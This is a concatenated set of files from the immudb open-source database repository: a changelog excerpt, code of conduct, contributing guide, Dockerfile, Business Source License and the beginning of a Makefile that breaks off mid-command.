VerifiedIndex as safe functions return type - **pkg/client:** add root cache service - **pkg/client:** add new RootService field to ImmuClient, initialize it in connectWithRetry and use it in Safe* functions - **pkg/client:** move keys reading outside ImmuClient and also pass it context from outside - **pkg/client:** add backup and restore and automated tests for them - **pkg/client/cache:** add cache file adapter - **pkg/gw:** add safeset get overwrites - **pkg/gw:** add safeZAdd overwrite - **pkg/gw:** add reference and safeReference rest endpoint - **pkg/logger:** Add file logger - **pkg/server:** add reference and safeReference handlers - **pkg/server:** add ZAdd, safeZAdd and zscan handlers - **pkg/server:** Add backup and restore handlers - **pkg/server:** Add pid file management - **pkg/store:** add reference and safeReference methods and tests - **pkg/store:** add ZAdd, safeZAdd and ZScan methods and tests - **pkg/store:** Add store backup and restore methods and tests ## v0.0.0-20200206 - 2020-02-06 ### Bug Fixes - pin go 1.13 for CI - client dial retry and health-check retry counting - missing dependencies - address parsing - apply badger options in bm - typo - protobuf codegen - server re-start - rpc bm startup - nil out topic on server shutdown - get-batch for missing keys - client default options - **bm:** allow GC - **bm/rpc:** await server to be up - **client:** missing default options - **db:** cannot call treestore flush on empty tree - **db:** include key as digest input - **db:** default option for sync write - **db:** correct treestore data race - **db:** correct tree cache positions calculation at boostrap - **db:** correct tree width calculation at startup - **db:** workaround for tree indexes when reloading - **db:** correct cache pre-allocation - **db/treestore:** revert debug if condition - **pkg/server:** correct nil pointer dereferences - **pkg/server:** correct nil pointer dereference on logging - **pkg/store:** correct key prefix guard - **pkg/store:** correct inclusion proof call - **pkg/store:** add miss condition to limit scan result - **server:** avoid premature termination - **tools/bm:** stop on error and correct max batch size - **tree:** correct root of an empty tree - **tree:** benchmark timers - **tree:** handle missing node in mem store - **tree:** `at` cannot be equal to width ### Changes - client option type - client connection wording - add license headers - rename module - editorconfig - gitignore - bumps badger to v2.0.1 - license headers - gitignore immu binaries - update copyright notice - gitignore vendor - remove stale files - change default data dir to "immustore" - gitignore bm binary - gitignore bm binary - gitignore working db directory - logging cleanup + thresholds - server refactoring - immu client cleanup - trigger CI on PRs - docker cleanup - server options refactoring - remove dead client code - server options refactoring - license headers - bump badger to latest v2 - api cleanup - refactor server logging - move client options to type - move server options to type - improved logging - simplified client interface - extract client health check error - client error refactoring - missing license headers - refactor rpc bms - rpc bm cleanup - nicer error reporting on client failure - minor cleanup in bench.py - strip bm binary - make all target - clean bm binary - improved server interface - more load on rpc bm - new db constructor with options - update .gitignore - **api:** add index in hash construction - **bm:** fine tuning - **bm/rpc:** print error - **client:** add ByIndex rpc - **cmd/immu:** align commands to new APIs - **db:** add default logger - **db:** treestore entries discarding and ordering - **db:** fine tuning - **db:** treestore improvements - **db:** switch to unbalanced tree test - **db:** return item index - **db:** correct logging messages - **db:** default options - **immu:** improved membership verification - **immu:** improve printing - **logger:** expose logging level - **pkg/api:** add Hash() method for Item - **pkg/api/schema:** refactor bundled proof proto message - **pkg/api/schema:** add Root message and CurrentRoot RPC - **pkg/api/schema:** get new root from proof - **pkg/api/schema:** relax Proof verify when no prev root - **pkg/db:** split data and tree storage - **pkg/store:** add error for invalid root index - **pkg/store:** code improvements - **pkg/tree:** add verification for RFC 6962 examples - **pkg/tree:** improve comment - **schema:** add index - **server:** add ByIndex rpc - **tools:** no logging needed for nimmu - **tools:** benchmark - **tools:** add nimmu hacking tool - **tools:** armonize comparison settings - **tools:** add makefile target for comparison - **tools:** benchmark - **tools/bm:** correct method signature to accomodate indexes - **tools/nimmu:** improve input and output - **tree:** add print tree helper for debugging - **tree:** add map backed mem store for testing - **tree:** add IsFrozen helper - **tree:** add map store test - **tree:** remove unnecessary int conversion - **tree:** reduce testPaths - **tree:** correct MTH test var naming - **tree:** correct returned value for undefined ranges - **tree:** clean up map store ### Code Refactoring - rename module to immustore - reviewed schema package - rname "membership" to "inclusion" - use []byte keys - "db" pkg renamed to "store" - logging prefixes and miscellany renamed according to immustore - change APIs according to the new schema - env vars prefix renamed to IMMU_ - **db:** use ring buffer for caching - **db:** use Item on ByIndex API - **db:** new storing strategy - **pkg/tree:** improve coverage and clean up - **server:** metrics prefix renamed to immud_ - **tree:** AppendHash with side-effect - **tree:** testing code improvement - **tree:** switch to unbalanced tree - **tree:** reduce lookups - **tree:** remove unnecessary Tree struct and correct int sizes - **tree:** simplify Storer interface - **tree:** trival optimization ### Features - bm memstats - set stdin support - initial project skeleton - initial draft for storing the tree alongside the data - immu client - Makefile - basic protobuf schema - poc transport format - poc grpc server - poc grpc client - poc server wiring - client connect and wait for health-check - poc client wiring - topic wiring - poc topic get - client-side performance logs - server topic get wiring - poc cli args - transport schema cleanup - docker - server options - client options - server options for dbname - immud command line args - expose metrics - add healtcheck command - client cli args - logging infrastructure - client type - treestore with caching - no healthcheck/dial retry wait-period when set to 0 - make bm - batch-set - bm tooling - bm improvements (rpc-style and in-process api calls) - batch get requests - CI action - scylla comparison - immud health-check - return item index for get and set ops - expose dial and health-check retry configuration - apply env options for server - apply env options for client - server options from environment - client options from environment - client connect with closure - client errors extracted - named logger - pretty-print client options - stateful client connection - server health-check - db health-check - set-batch bm - client set-batch - key reader - extract rpc bm constructor - **api:** add item and item list data structure - **api:** add membership proof struct - **client:** add history command - **client:** membership command - **cmd/immu:** scan and count commands - **db:** get item by index - **db:** add membership proof API - **db:** async commit option - **db:** add history API to get all versions of the same key - **pkg/api/schema:** added Scan and Count RPC - **pkg/api/schema:** consistency proof API - **pkg/api/schema:** SafeGet - **pkg/api/schema:** add SafeSet to schema.proto - **pkg/api/schema:** ScanOptions - **pkg/client:** Scan and Count API - **pkg/client:** consistecy proof - **pkg/server:** consistency proof RPC - **pkg/server:** Scan and Count API - **pkg/server:** CurrentRoot RPC - **pkg/server:** SafeSet RPC - **pkg/server:** SafeGet RPC - **pkg/store:** SafeSet - **pkg/store:** SafeGet API - **pkg/store:** CurrentRoot API - **pkg/store:** count API - **pkg/store:** consistency proof - **pkg/store:** range scan API - **pkg/tree:** test case for RFC 6962 examples - **pkg/tree:** consistency proof verification - **pkg/tree:** consistency proof - **pkg/tree:** Path to slice conversion - **ring:** ring buffer - **schema:** add message for membership proof - **server:** add membership rpc - **server:** support for history API - **tree:** Merkle Consistency Proof reference impl - **tree:** draft implementation - **tree:** Merkle audit path reference impl - **tree:** MTH reference impl - **tree:** Storer interface - **tree:** membership proof verification - **tree:** audit path construction [Unreleased]: https://github.com/vchain-us/immudb/compare/v1.10.0...HEAD [v1.10.0]: https://github.com/vchain-us/immudb/compare/v1.9.7...v1.10.0 [v1.9.7]: https://github.com/vchain-us/immudb/compare/v2.0.0-RC1...v1.9.7 [v2.0.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.9.6...v2.0.0-RC1 [v1.9.6]: https://github.com/vchain-us/immudb/compare/v1.9.5...v1.9.6 [v1.9.5]: https://github.com/vchain-us/immudb/compare/v1.9.4...v1.9.5 [v1.9.4]: https://github.com/vchain-us/immudb/compare/v1.9.3...v1.9.4 [v1.9.3]: https://github.com/vchain-us/immudb/compare/v1.9DOM.2...v1.9.3 [v1.9DOM.2]: https://github.com/vchain-us/immudb/compare/v1.9DOM.2-RC1...v1.9DOM.2 [v1.9DOM.2-RC1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.1...v1.9DOM.2-RC1 [v1.9DOM.1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.1-RC1...v1.9DOM.1 [v1.9DOM.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.9DOM.0...v1.9DOM.1-RC1 [v1.9DOM.0]: https://github.com/vchain-us/immudb/compare/v1.9DOM...v1.9DOM.0 [v1.9DOM]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC2...v1.9DOM [v1.9.0-RC2]: https://github.com/vchain-us/immudb/compare/v1.9.0-RC1...v1.9.0-RC2 [v1.9.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.5.0...v1.9.0-RC1 [v1.5.0]: https://github.com/vchain-us/immudb/compare/v1.5.0-RC1...v1.5.0 [v1.5.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.4.1...v1.5.0-RC1 [v1.4.1]: https://github.com/vchain-us/immudb/compare/v1.4.1-RC1...v1.4.1 [v1.4.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.4.0...v1.4.1-RC1 [v1.4.0]: https://github.com/vchain-us/immudb/compare/v1.4.0-RC2...v1.4.0 [v1.4.0-RC2]: https://github.com/vchain-us/immudb/compare/v1.4.0-RC1...v1.4.0-RC2 [v1.4.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.3.2...v1.4.0-RC1 [v1.3.2]: https://github.com/vchain-us/immudb/compare/v1.3.2-RC1...v1.3.2 [v1.3.2-RC1]: https://github.com/vchain-us/immudb/compare/v1.3.1...v1.3.2-RC1 [v1.3.1]: https://github.com/vchain-us/immudb/compare/v1.3.1-RC1...v1.3.1 [v1.3.1-RC1]: https://github.com/vchain-us/immudb/compare/v1.3.0...v1.3.1-RC1 [v1.3.0]: https://github.com/vchain-us/immudb/compare/v1.3.0-RC1...v1.3.0 [v1.3.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.2.4...v1.3.0-RC1 [v1.2.4]: https://github.com/vchain-us/immudb/compare/v1.2.4-RC1...v1.2.4 [v1.2.4-RC1]: https://github.com/vchain-us/immudb/compare/v1.2.3...v1.2.4-RC1 [v1.2.3]: https://github.com/vchain-us/immudb/compare/v1.2.3-RC1...v1.2.3 [v1.2.3-RC1]: https://github.com/vchain-us/immudb/compare/v1.2.2...v1.2.3-RC1 [v1.2.2]: https://github.com/vchain-us/immudb/compare/v1.2.1...v1.2.2 [v1.2.1]: https://github.com/vchain-us/immudb/compare/v1.2.0...v1.2.1 [v1.2.0]: https://github.com/vchain-us/immudb/compare/v1.2.0-RC1...v1.2.0 [v1.2.0-RC1]: https://github.com/vchain-us/immudb/compare/v1.1.0...v1.2.0-RC1 [v1.1.0]: https://github.com/vchain-us/immudb/compare/v1.0.5...v1.1.0 [v1.0.5]: https://github.com/vchain-us/immudb/compare/v1.0.1...v1.0.5 [v1.0.1]: https://github.com/vchain-us/immudb/compare/v1.0.0...v1.0.1 [v1.0.0]: https://github.com/vchain-us/immudb/compare/cnlc-2.2...v1.0.0 [cnlc-2.2]: https://github.com/vchain-us/immudb/compare/v0.9.2...cnlc-2.2 [v0.9.2]: https://github.com/vchain-us/immudb/compare/v0.9.1...v0.9.2 [v0.9.1]: https://github.com/vchain-us/immudb/compare/v0.9.0...v0.9.1 [v0.9.0]: https://github.com/vchain-us/immudb/compare/v0.9.0-RC2...v0.9.0 [v0.9.0-RC2]: https://github.com/vchain-us/immudb/compare/v0.9.0-RC1...v0.9.0-RC2 [v0.9.0-RC1]: https://github.com/vchain-us/immudb/compare/v0.8.1...v0.9.0-RC1 [v0.8.1]: https://github.com/vchain-us/immudb/compare/v0.8.0...v0.8.1 [v0.8.0]: https://github.com/vchain-us/immudb/compare/v0.7.1...v0.8.0 [v0.7.1]: https://github.com/vchain-us/immudb/compare/v0.7.0...v0.7.1 [v0.7.0]: https://github.com/vchain-us/immudb/compare/v0.6.2...v0.7.0 [v0.6.2]: https://github.com/vchain-us/immudb/compare/v0.6.1...v0.6.2 [v0.6.1]: https://github.com/vchain-us/immudb/compare/v0.6.0...v0.6.1 [v0.6.0]: https://github.com/vchain-us/immudb/compare/v0.6.0-RC2...v0.6.0 [v0.6.0-RC2]: https://github.com/vchain-us/immudb/compare/v0.6.0-RC1...v0.6.0-RC2 [v0.6.0-RC1]: https://github.com/vchain-us/immudb/compare/v0.0.0-20200206...v0.6.0-RC1 ================================================ FILE: CODE_OF_CONDUCT.md ================================================ # Contributor Covenant Code of Conduct ## Our Pledge We as members, contributors, and leaders pledge to make participation in our community a harassment-free experience for everyone, regardless of age, body size, visible or invisible disability, ethnicity, sex characteristics, gender identity and expression, level of experience, education, socio-economic status, nationality, personal appearance, race, religion, or sexual identity and orientation. We pledge to act and interact in ways that contribute to an open, welcoming, diverse, inclusive, and healthy community. ## Our Standards Examples of behavior that contributes to a positive environment for our community include: * Demonstrating empathy and kindness toward other people * Being respectful of differing opinions, viewpoints, and experiences * Giving and gracefully accepting constructive feedback * Accepting responsibility and apologizing to those affected by our mistakes, and learning from the experience * Focusing on what is best not just for us as individuals, but for the overall community Examples of unacceptable behavior include: * The use of sexualized language or imagery, and sexual attention or advances of any kind * Trolling, insulting or derogatory comments, and personal or political attacks * Public or private harassment * Publishing others' private information, such as a physical or email address, without their explicit permission * Other conduct which could reasonably be considered inappropriate in a professional setting ## Enforcement Responsibilities Community leaders are responsible for clarifying and enforcing our standards of acceptable behavior and will take appropriate and fair corrective action in response to any behavior that they deem inappropriate, threatening, offensive, or harmful. Community leaders have the right and responsibility to remove, edit, or reject comments, commits, code, wiki edits, issues, and other contributions that are not aligned to this Code of Conduct, and will communicate reasons for moderation decisions when appropriate. ## Scope This Code of Conduct applies within all community spaces, and also applies when an individual is officially representing the community in public spaces. Examples of representing our community include using an official e-mail address, posting via an official social media account, or acting as an appointed representative at an online or offline event. ## Enforcement Instances of abusive, harassing, or otherwise unacceptable behavior may be reported to the community leaders responsible for enforcement at info@codenotary.com. All complaints will be reviewed and investigated promptly and fairly. All community leaders are obligated to respect the privacy and security of the reporter of any incident. ## Enforcement Guidelines Community leaders will follow these Community Impact Guidelines in determining the consequences for any action they deem in violation of this Code of Conduct: ### 1. Correction **Community Impact**: Use of inappropriate language or other behavior deemed unprofessional or unwelcome in the community. **Consequence**: A private, written warning from community leaders, providing clarity around the nature of the violation and an explanation of why the behavior was inappropriate. A public apology may be requested. ### 2. Warning **Community Impact**: A violation through a single incident or series of actions. **Consequence**: A warning with consequences for continued behavior. No interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, for a specified period of time. This includes avoiding interactions in community spaces as well as external channels like social media. Violating these terms may lead to a temporary or permanent ban. ### 3. Temporary Ban **Community Impact**: A serious violation of community standards, including sustained inappropriate behavior. **Consequence**: A temporary ban from any sort of interaction or public communication with the community for a specified period of time. No public or private interaction with the people involved, including unsolicited interaction with those enforcing the Code of Conduct, is allowed during this period. Violating these terms may lead to a permanent ban. ### 4. Permanent Ban **Community Impact**: Demonstrating a pattern of violation of community standards, including sustained inappropriate behavior, harassment of an individual, or aggression toward or disparagement of classes of individuals. **Consequence**: A permanent ban from any sort of public interaction within the community. ## Attribution This Code of Conduct is adapted from the [Contributor Covenant][homepage], version 2.0, available at https://www.contributor-covenant.org/version/2/0/code_of_conduct.html. Community Impact Guidelines were inspired by [Mozilla's code of conduct enforcement ladder](https://github.com/mozilla/diversity). [homepage]: https://www.contributor-covenant.org For answers to common questions about this code of conduct, see the FAQ at https://www.contributor-covenant.org/faq. Translations are available at https://www.contributor-covenant.org/translations. ================================================ FILE: CONTRIBUTING.md ================================================ # Contributing to immudb ​ 👍🎉 First off, thanks for taking the time to contribute! 🎉👍 The following is a set of guidelines for contributing to immudb. These are mostly guidelines, not rules. Use your best judgment, and feel free to propose changes to this document in a pull request. ### Active Participation ​ Open Source projects are maintained and backed by a **wonderful community** of users and collaborators. ​ We encourage you to actively participate in the development and future of immudb by contributing to the source code regularly, improving the documentation, reporting potential bugs, or testing new features. ​ ### Channels ​ There are many ways to take part in the immudb community. ​ 1. Github Repositories: Report bugs or create feature requests against the dedicated immudb repository. 2. Discord: Join the Discord channel and chat with other developers in the immudb community. 3. Twitter: Stay in touch with the progress we make and learn about the awesome things happening around immudb. ​ ## Developer Certificate of Origin Contributions to this project must be accompanied by a Developer Certificate of Origin (DCO). You retain the copyright to your contribution; this simply gives us permission to use and redistribute your contributions as part of the project. Therefore, with every contribution to the code, you must sign-off the following DCO: By making a contribution to this project, I certify that: a) The contribution was created in whole or in part by me and I have the right to submit it under the open source license indicated in the file; or b) The contribution is based upon previous work that, to the best of my knowledge, is covered under an appropriate open source license and I have the right under that license to submit that work with modifications, whether created in whole or in part by me, under the same open source license (unless I am permitted to submit under a different license), as indicated in the file; or c) The contribution was provided directly to me by some other person who certified (a), (b) or (c) and I have not modified it. d) I understand and agree that this project and the contribution are public and that a record of the contribution (including all personal information I submit with it, including my sign-off) is maintained indefinitely and may be redistributed consistent with this project or the open source license(s) involved. You can sign-off that you adhere to these requirements by simply adding a signed-off-by line to your commit message, as specified in the [pull request guidelines](#pull-requests). ## Using the Issue Tracker ​ The [issue tracker](https://github.com/codenotary/immudb/issues) is the preferred channel for [bug reports](#bug-reports), [feature requests](#feature-requests), and [pull requests](#pull-requests), but please respect the following restrictions: ​ * Please **do not** use the issue tracker for personal support requests. ​ * Please **do not** get off track in issues. Keep the discussion on topic and respect the opinions of others. ​ * Please **do not** post comments consisting solely of "+1" or ":thumbsup:". Use [GitHub's "reactions" feature](https://github.com/blog/2119-add-reactions-to-pull-requests-issues- and-comments) instead. We reserve the right to delete comments which violate this rule. ​ ## Issues and Labels ​ Our bug tracker utilizes several labels to help organize and identify issues. For a complete look at our labels, see the [project labels page](https://github.com/codenotary/immudb/labels). ​ ## Bug Reports ​ A bug is a _demonstrable problem_ that is caused by the code in the repository. Good bug reports are extremely helpful, so thanks! ​ Guidelines for bug reports: ​ 1. Provide a clear title and description of the issue. 2. Share the version of immudb you are using. 3. Add code examples to demonstrate the issue. You can also provide a complete repository to reproduce the issue quickly. ​ A good bug report shouldn't leave others needing to chase you up for more information. Please try to be as detailed as possible in your report: ​ - What is your environment? - What steps will reproduce the issue? - What OS experiences the problem? - What would you expect to be the outcome? ​ All these details will help us fix any potential bugs. Remember, fixing bugs takes time. We're doing our best! ​ Example: ​ > Short and descriptive example bug report title > > A summary of the issue and the OS environment in which it occurs. If > suitable, include the steps required to reproduce the bug. > > 1. This is the first step > 2. This is the second step > 3. Further steps, etc. > > `` - a link to the reduced test case > > Any other information you want to share that is relevant to the issue being > reported. This might include the lines of code that you have identified as > causing the bug, and potential solutions (and your opinions on their > merits). ​ ## Feature Requests Feature requests are welcome! When opening a feature request, it's up to *you* to make a strong case to convince the project's developers of the merits of this feature. Please provide as much detail and context as possible. ​ When adding a new feature to immudb, make sure you update the documentation as well. ​ ### Testing Before providing a pull request, be sure to test the feature you are adding. We will only approve pull requests with at least 80% of code covered by unit tests. ​ ## Pull Requests Good pull requests—patches, improvements, new features are a fantastic help. They should remain focused in scope and avoid containing unrelated commits. ​ **Please ask first** before starting on any significant pull request (e.g. implementing features, refactoring code, porting to a different language), otherwise you might spend a lot of time working on something that the project's developers might not want to merge into the project. ​ Please adhere to the [code guidelines](#code-guidelines) used throughout the project (indentation, accurate comments, etc.) and any other requirements (such as [test coverage](#testing)). ​ Adhering to the following process is the best way to get your work included in the project: ​ 1. [Fork](https://help.github.com/fork-a-repo/) the project, clone your fork and configure the remotes: ​ ```bash # Clone your fork of the repo into the current directory git clone https://github.com//immudb.git 2. Navigate to the newly cloned directory ```bash cd immudb ``` 3. Assign the original repo to a remote called "upstream" ``` git remote add upstream https://github.com/codenotary/immudb.git ``` 4. Create a new topic branch (off the main project master branch) to contain your feature, change, or fix: ​ ```bash git checkout -b ``` 5. Make sure your commits are logically structured. Please adhere to these [git commit message guidelines](http://tbaggery.com/2008/04/19/a-note-about-git-commit-messages.html). Use Git's [interactive rebase feature](https://help.github.com/en/github/using-git/about-git-rebase) to tidy up your commits before making them public. For immudb, we follow the [conventional commits layout](https://www.conventionalcommits.org/en/v1.0.0/). This way commits are more meaningful and the autogenerated part of the readme is better structured. 6. Sign-off that you adhere to the [DCO](#developer-certificate-of-origin) by adding a signed-off-by line to your commit message, separated by a blank line from the body of the commit. This is my commit message ```bash Signed-off-by: Your Name ``` Git even has a -s or -s –amend (in case you already have a commit) command line option to append this automatically to your existing commit message: ```bash $ git commit -s -m 'This is my commit message' ``` Signed-off-by: Your Name to the last line of each Git commit message 7. Locally rebase the upstream master branch into your topic branch: ​ ```bash git pull --rebase upstream master ``` 8. Push your topic branch up to your fork: ​ ```bash git push origin ``` 9. [Open a pull request](https://help.github.com/articles/using-pull-requests/) with a clear title and description against the `master` branch. ​ ​ ## Code Guidelines ​ ### Go Here is a non-exhaustive list of documents and articles talking about Go best practices and tips & tricks. We are continuously trying to improve our code, and taking inspiration from community works helps us grow. * https://golang.org/doc/effective_go.html * https://github.com/golang/go/wiki/CodeReviewComments * https://go-proverbs.github.io/ * https://the-zen-of-go.netlify.app/ * https://dave.cheney.net/practical-go/presentations/qcon-china.html * https://github.com/bahlo/go-styleguide * https://github.com/Pungyeon/clean-go-article * https://github.com/dgryski/go-perfbook Please note again that [code coverage](#testing) should no less than 80% and that we encourage you to minimize the use of 3rd party libraries. ​ ### Vue ​ Adhere to the linting and [concepts](https://immudb.io/docs/preface/concepts) guidelines. ​ - Prefix immudb components with the `I` character - Provide multiple customization options - Use mixins where applicable ​ ## Local Development ​ Fork the repository and create a branch as specified in the [pull request guidelines](#pull-requests) above. ​ ## License ​ By contributing your code, you agree to license your contribution under the [Apache Version 2.0 License](https://github.com/codenotary/immudb/tree/master/LICENSE). ================================================ FILE: Dockerfile ================================================ # Copyright 2022 Codenotary Inc. All rights reserved. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. FROM golang:1.24 as build ARG BUILD_ARCH=amd64 WORKDIR /src COPY go.mod go.sum /src/ RUN go mod download -x COPY . . RUN make clean RUN make prerequisites RUN make swagger RUN make swagger/dist RUN GOOS=linux GOARCH=${BUILD_ARCH} WEBCONSOLE=default SWAGGER=true make immudb-static immuadmin-static RUN mkdir /empty FROM scratch LABEL org.opencontainers.image.authors="Codenotary Inc. " ARG IMMU_UID="3322" ARG IMMU_GID="3322" ARG IMMUDB_HOME="/usr/share/immudb" ENV IMMUDB_HOME="${IMMUDB_HOME}" \ IMMUDB_DIR="/var/lib/immudb" \ IMMUDB_ADDRESS="0.0.0.0" \ IMMUDB_PORT="3322" \ IMMUDB_PIDFILE="" \ IMMUDB_LOGFILE="" \ IMMUDB_MTLS="false" \ IMMUDB_AUTH="true" \ IMMUDB_DETACHED="false" \ IMMUDB_DEVMODE="true" \ IMMUDB_MAINTENANCE="false" \ IMMUDB_ADMIN_PASSWORD="immudb" \ IMMUDB_PGSQL_SERVER="true" \ IMMUADMIN_TOKENFILE="/var/lib/immudb/admin_token" \ USER=immu \ HOME="${IMMUDB_HOME}" COPY --from=build /src/immudb /usr/sbin/immudb COPY --from=build /src/immuadmin /usr/local/bin/immuadmin COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty "$IMMUDB_HOME" COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty "$IMMUDB_DIR" COPY --from=build --chown="$IMMU_UID:$IMMU_GID" /empty /tmp COPY --from=build "/etc/ssl/certs/ca-certificates.crt" "/etc/ssl/certs/ca-certificates.crt" EXPOSE 3322 EXPOSE 9497 EXPOSE 8080 EXPOSE 5432 HEALTHCHECK --interval=30s --timeout=30s --start-period=5s --retries=3 CMD [ "/usr/local/bin/immuadmin", "status" ] USER "${IMMU_UID}:${IMMU_GID}" ENTRYPOINT ["/usr/sbin/immudb"] ================================================ FILE: LICENSE ================================================ License text copyright (c) 2020 MariaDB Corporation Ab, All Rights Reserved. "Business Source License" is a trademark of MariaDB Corporation Ab. Parameters Licensor: Codenotary, Inc. Licensed Work: immudb Version 1.9DOM.2 or later. The Licensed Work is (c) 2024 Codenotary, Inc. Additional Use Grant: You may make production use of the Licensed Work, provided Your use does not include offering the Licensed Work to third parties on a hosted or embedded basis in order to compete with Codenotary's paid version(s) of the Licensed Work. For purposes of this license: A "competitive offering" is a Product that is offered to third parties on a paid basis, including through paid support arrangements, that significantly overlaps with the capabilities of Codenotary's paid version(s) of the Licensed Work. If Your Product is not a competitive offering when You first make it generally available, it will not become a competitive offering later due to Codenotary releasing a new version of the Licensed Work with additional capabilities. In addition, Products that are not provided on a paid basis are not competitive. "Product" means software that is offered to end users to manage in their own environments or offered as a service on a hosted basis. "Embedded" means including the source code or executable code from the Licensed Work in a competitive offering. "Embedded" also means packaging the competitive offering in such a way that the Licensed Work must be accessed or downloaded for the competitive offering to operate. Hosting or using the Licensed Work(s) for internal purposes within an organization is not considered a competitive offering. Codenotary considers your organization to include all of your affiliates under common control. Change Date: Four years from the date the Licensed Work is published. Change License: Apache 2.0 For information about alternative licensing arrangements for the Licensed Work, please contact info@codenotary.com. Notice Business Source License 1.1 Terms The Licensor hereby grants you the right to copy, modify, create derivative works, redistribute, and make non-production use of the Licensed Work. The Licensor may make an Additional Use Grant, above, permitting limited production use. Effective on the Change Date, or the fourth anniversary of the first publicly available distribution of a specific version of the Licensed Work under this License, whichever comes first, the Licensor hereby grants you rights under the terms of the Change License, and the rights granted in the paragraph above terminate. If your use of the Licensed Work does not comply with the requirements currently in effect as described in this License, you must purchase a commercial license from the Licensor, its affiliated entities, or authorized resellers, or you must refrain from using the Licensed Work. All copies of the original and modified Licensed Work, and derivative works of the Licensed Work, are subject to this License. This License applies separately for each version of the Licensed Work and the Change Date may vary for each version of the Licensed Work released by Licensor. You must conspicuously display this License on each original or modified copy of the Licensed Work. If you receive the Licensed Work in original or modified form from a third party, the terms and conditions set forth in this License apply to your use of that work. Any use of the Licensed Work in violation of this License will automatically terminate your rights under this License for the current and all other versions of the Licensed Work. This License does not grant you any right in any trademark or logo of Licensor or its affiliates (provided that you may use a trademark or logo of Licensor as expressly required by this License). TO THE EXTENT PERMITTED BY APPLICABLE LAW, THE LICENSED WORK IS PROVIDED ON AN "AS IS" BASIS. LICENSOR HEREBY DISCLAIMS ALL WARRANTIES AND CONDITIONS, EXPRESS OR IMPLIED, INCLUDING (WITHOUT LIMITATION) WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE, NON-INFRINGEMENT, AND TITLE. ================================================ FILE: Makefile ================================================ # Copyright 2022 Codenotary Inc. All rights reserved. \ \ Licensed under the Apache License, Version 2.0 (the "License"); \ you may not use this file except in compliance with the License. \ You may obtain a copy of the License at \ \ http://www.apache.org/licenses/LICENSE-2.0 \ \ Unless required by applicable law or agreed to in writing, software \ distributed under the License is distributed on an "AS IS" BASIS, \ WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. \ See the License for the specific language governing permissions and \ limitations under the License. export GO111MODULE=on SHELL=/bin/bash -o pipefail VERSION=1.10.0 DEFAULT_WEBCONSOLE_VERSION=1.0.18 SERVICES=immudb immuadmin immuclient TARGETS=linux/amd64 windows/amd64 darwin/amd64 linux/s390x linux/arm64 freebsd/amd64 darwin/arm64 SWAGGER?=false FIPSENABLED?=false SWAGGERUIVERSION=4.15.5 SWAGGERUILINK="https://github.com/swagger-api/swagger-ui/archive/refs/tags/v${SWAGGERUIVERSION}.tar.gz" PWD = $(shell pwd) GO ?= go GOPATH ?= $(shell go env GOPATH) DOCKER ?= docker PROTOC ?= protoc STRIP = strip V_COMMIT := $(shell git rev-parse HEAD) #V_BUILT_BY := "$(shell echo "`git config user.name`<`git config user.email`>")" V_BUILT_BY := $(shell git config user.email) V_BUILT_AT := $(shell date +%s) V_LDFLAGS_SYMBOL := -s V_LDFLAGS_BUILD := -X "github.com/codenotary/immudb/cmd/version.Version=${VERSION}" \ -X "github.com/codenotary/immudb/cmd/version.Commit=${V_COMMIT}" \ -X "github.com/codenotary/immudb/cmd/version.BuiltBy=${V_BUILT_BY}"\ -X "github.com/codenotary/immudb/cmd/version.BuiltAt=${V_BUILT_AT}" V_LDFLAGS_COMMON := ${V_LDFLAGS_SYMBOL} ${V_LDFLAGS_BUILD} V_LDFLAGS_STATIC := ${V_LDFLAGS_COMMON} \ -X github.com/codenotary/immudb/cmd/version.Static=static \ -extldflags "-static" V_LDFLAGS_FIPS_BUILD = ${V_LDFLAGS_BUILD} \ -X github.com/codenotary/immudb/cmd/version.FIPSEnabled=true V_GO_ENV_FLAGS := GOOS=$(GOOS) GOARCH=$(GOARCH) V_BUILD_NAME ?= "" V_BUILD_FLAG = -o $(V_BUILD_NAME) GRPC_GATEWAY_VERSION := $(shell go list -m -versions github.com/grpc-ecosystem/grpc-gateway | awk -F ' ' '{print $$NF}') SWAGGER_BUILDTAG= WEBCONSOLE_BUILDTAG= FIPS_BUILDTAG= ifdef WEBCONSOLE WEBCONSOLE_BUILDTAG=webconsole endif ifeq ($(SWAGGER),true) SWAGGER_BUILDTAG=swagger endif ifeq ($(FIPSENABLED),true) FIPS_BUILDTAG=swagger endif IMMUDB_BUILD_TAGS=-tags "$(SWAGGER_BUILDTAG) $(WEBCONSOLE_BUILDTAG) $(FIPS_BUILDTAG)" .PHONY: all all: immudb immuclient immuadmin immutest @echo 'Build successful, now you can make the manuals or check the status of the database with immuadmin.' .PHONY: rebuild rebuild: clean build/codegen all .PHONY: webconsole ifdef WEBCONSOLE webconsole: ./webconsole/dist env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./webconsole else webconsole: env -u GOOS -u GOARCH $(GO) generate $(IMMUDB_BUILD_TAGS) ./webconsole endif # To be called manually to update the default webconsole .PHONY: webconsole/default webconsole/default: $(GO) generate ./webconsole .PHONY: immuclient immuclient: $(V_GO_ENV_FLAGS) $(GO) build $(V_BUILD_FLAG) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuclient .PHONY: immuadmin immuadmin: $(V_GO_ENV_FLAGS) $(GO) build $(V_BUILD_FLAG) -v -ldflags '$(V_LDFLAGS_COMMON)' ./cmd/immuadmin .PHONY: immudb immudb: webconsole swagger $(V_GO_ENV_FLAGS) $(GO) build $(V_BUILD_FLAG) 